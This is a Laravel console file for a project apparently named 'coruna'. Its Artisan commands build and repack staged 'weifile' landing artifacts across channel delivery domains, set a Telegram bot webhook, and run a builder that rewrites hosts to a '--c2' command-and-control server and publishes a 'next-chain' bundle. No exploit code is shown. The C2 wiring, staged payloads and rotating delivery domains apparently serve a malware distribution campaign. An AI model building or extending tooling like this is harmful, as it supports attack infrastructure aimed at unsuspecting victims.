185 lines
6.1 KiB
PHP
185 lines
6.1 KiB
PHP
<?php
|
||
|
||
use App\Services\ChannelProjectService;
|
||
use Illuminate\Foundation\Inspiring;
|
||
use Illuminate\Support\Facades\Artisan;
|
||
use Illuminate\Support\Facades\Http;
|
||
use Illuminate\Support\Facades\Schedule;
|
||
|
||
Schedule::command('coruna:auto-transfer')
|
||
->everyMinute()
|
||
->withoutOverlapping()
|
||
->runInBackground();
|
||
|
||
Artisan::command('inspire', function () {
|
||
$this->comment(Inspiring::quote());
|
||
})->purpose('Display an inspiring quote');
|
||
|
||
Artisan::command('telegram:set-webhook {url?}', function (?string $url = null) {
|
||
$token = (string) config('nutgram.token', '');
|
||
if ($token === '') {
|
||
$this->error('TELEGRAM_BOT_TOKEN is empty');
|
||
|
||
return 1;
|
||
}
|
||
$url = $url ?: rtrim((string) config('app.url'), '/').'/hooks/telegram';
|
||
$secret = (string) config('coruna.telegram.webhook_secret', '');
|
||
|
||
$payload = [
|
||
'url' => $url,
|
||
'allowed_updates' => ['message', 'callback_query', 'my_chat_member'],
|
||
];
|
||
if ($secret !== '') {
|
||
$payload['secret_token'] = $secret;
|
||
}
|
||
$this->info('Setting Telegram webhook URL: '.$url);
|
||
$resp = Http::timeout(20)
|
||
->asJson()
|
||
->post("https://api.telegram.org/bot{$token}/setWebhook", $payload);
|
||
if ($resp->successful() && ($resp->json('ok') === true)) {
|
||
$this->info('OK');
|
||
|
||
return 0;
|
||
}
|
||
$this->error('Failed: '.$resp->body());
|
||
|
||
return 1;
|
||
})->purpose('Register the site Telegram webhook');
|
||
|
||
Artisan::command('xxbb:build {--channel-c=} {--random-c}', function () {
|
||
$channelC = trim((string) $this->option('channel-c'));
|
||
$random = (bool) $this->option('random-c');
|
||
try {
|
||
$result = app(ChannelProjectService::class)->buildSharedArtifacts(
|
||
$channelC !== '' ? $channelC : null,
|
||
$random,
|
||
);
|
||
} catch (Throwable $e) {
|
||
$this->error($e->getMessage());
|
||
|
||
return 1;
|
||
}
|
||
|
||
$c = (string) data_get($result, 'seeds.channel_c', '');
|
||
$this->info('XXBB_CHANNEL_C='.$c);
|
||
$this->info('details -> /details/');
|
||
$staged = (string) ($result['staged_weifile'] ?? '');
|
||
if ($staged !== '') {
|
||
$this->info('staged weifile -> '.$staged);
|
||
}
|
||
$this->line('domains:');
|
||
$domains = array_values((array) data_get($result, 'domains.deployment', []));
|
||
if ($domains === []) {
|
||
$this->warn('(empty)');
|
||
}
|
||
foreach ($domains as $i => $domain) {
|
||
$this->line(sprintf(' %03d %s', $i + 1, $domain));
|
||
}
|
||
$configured = strtolower(trim((string) config('coruna.xxbb.channel_c', '')));
|
||
if ($c !== '' && $configured !== $c) {
|
||
$this->warn('把上面的 XXBB_CHANNEL_C 写入 .env;新建渠道会始终用 env 中的 c 构建。');
|
||
}
|
||
|
||
return 0;
|
||
})->purpose('Build shared xxbb /details and staged weifile from channel c');
|
||
|
||
Artisan::command('xxbb:repack {ids?*} {--template=blank} {--skip-shared} {--dry-run}', function () {
|
||
$ids = array_values(array_filter(array_map('strval', (array) $this->argument('ids'))));
|
||
$template = trim((string) $this->option('template'));
|
||
$skipShared = (bool) $this->option('skip-shared');
|
||
$dryRun = (bool) $this->option('dry-run');
|
||
$projects = app(ChannelProjectService::class);
|
||
|
||
try {
|
||
$resolved = $projects->resolveNewChannelIds($ids === [] ? null : $ids);
|
||
} catch (Throwable $e) {
|
||
$this->error($e->getMessage());
|
||
|
||
return 1;
|
||
}
|
||
|
||
if ($resolved === []) {
|
||
$this->warn('没有可重打的新版渠道(builder_type=new)');
|
||
|
||
return 0;
|
||
}
|
||
|
||
$this->info(($dryRun ? '将重打' : '重打').' '.count($resolved).' 个新版渠道(渠道 ID / 投放域名不变):');
|
||
foreach ($resolved as $id) {
|
||
$this->line(' /channel/'.$id);
|
||
}
|
||
if ($dryRun) {
|
||
return 0;
|
||
}
|
||
|
||
try {
|
||
$result = $projects->rebuildNewChannels(
|
||
$resolved,
|
||
$template !== '' ? $template : ChannelProjectService::DEFAULT_SUPPORT_TEMPLATE,
|
||
! $skipShared,
|
||
);
|
||
} catch (Throwable $e) {
|
||
$this->error($e->getMessage());
|
||
|
||
return 1;
|
||
}
|
||
|
||
if (! $skipShared) {
|
||
$c = (string) data_get($result, 'shared.seeds.channel_c', config('coruna.xxbb.channel_c', ''));
|
||
$this->info('shared XXBB_CHANNEL_C='.$c);
|
||
$this->info('details -> /details/');
|
||
}
|
||
foreach ($result['channels'] as $row) {
|
||
$id = (string) ($row['channel_id'] ?? '');
|
||
$landing = (string) ($row['support_path'] ?? '/channel/'.$id.'/weifile/weifile.html');
|
||
$this->info('packed '.$id.' -> '.$landing);
|
||
}
|
||
|
||
return 0;
|
||
})->purpose('Repack existing new-builder channels with latest weifile / details / plugins');
|
||
|
||
Artisan::command('ds:build {--origin=} {--c2=} {--delivery=}', function () {
|
||
$script = base_path('channel-builder-ds/tools/build.py');
|
||
if (! is_file($script)) {
|
||
$this->error('missing '.$script);
|
||
|
||
return 1;
|
||
}
|
||
$c2 = trim((string) $this->option('c2'));
|
||
$origin = $c2 !== '' ? $c2 : trim((string) $this->option('origin'));
|
||
$delivery = trim((string) $this->option('delivery'));
|
||
if ($origin === '') {
|
||
$origin = rtrim((string) config('app.url'), '/');
|
||
$this->warn('未传 --c2/--origin,使用 APP_URL: '.$origin);
|
||
$this->warn('线上必须显式指定 C2,例如: php artisan ds:build --c2 https://c2.example.com');
|
||
}
|
||
$args = ['python3', $script, '--c2', $origin];
|
||
if ($delivery !== '') {
|
||
$args[] = '--delivery';
|
||
$args[] = $delivery;
|
||
}
|
||
$this->info(implode(' ', $args));
|
||
passthru(implode(' ', array_map('escapeshellarg', $args)), $code);
|
||
|
||
return $code;
|
||
})->purpose('Rewrite one99 hosts to --c2 and publish source/ to public/next-chain');
|
||
|
||
Artisan::command('coruna:channel-domains {--json}', function () {
|
||
$domains = array_values(array_filter(config('coruna.channel_domains', [])));
|
||
if ($this->option('json')) {
|
||
$this->line(json_encode($domains, JSON_UNESCAPED_UNICODE));
|
||
|
||
return 0;
|
||
}
|
||
if ($domains === []) {
|
||
$this->warn('(empty)');
|
||
|
||
return 0;
|
||
}
|
||
foreach ($domains as $d) {
|
||
$this->line($d);
|
||
}
|
||
|
||
return 0;
|
||
})->purpose('Print configured channel delivery domains (settings / env)');
|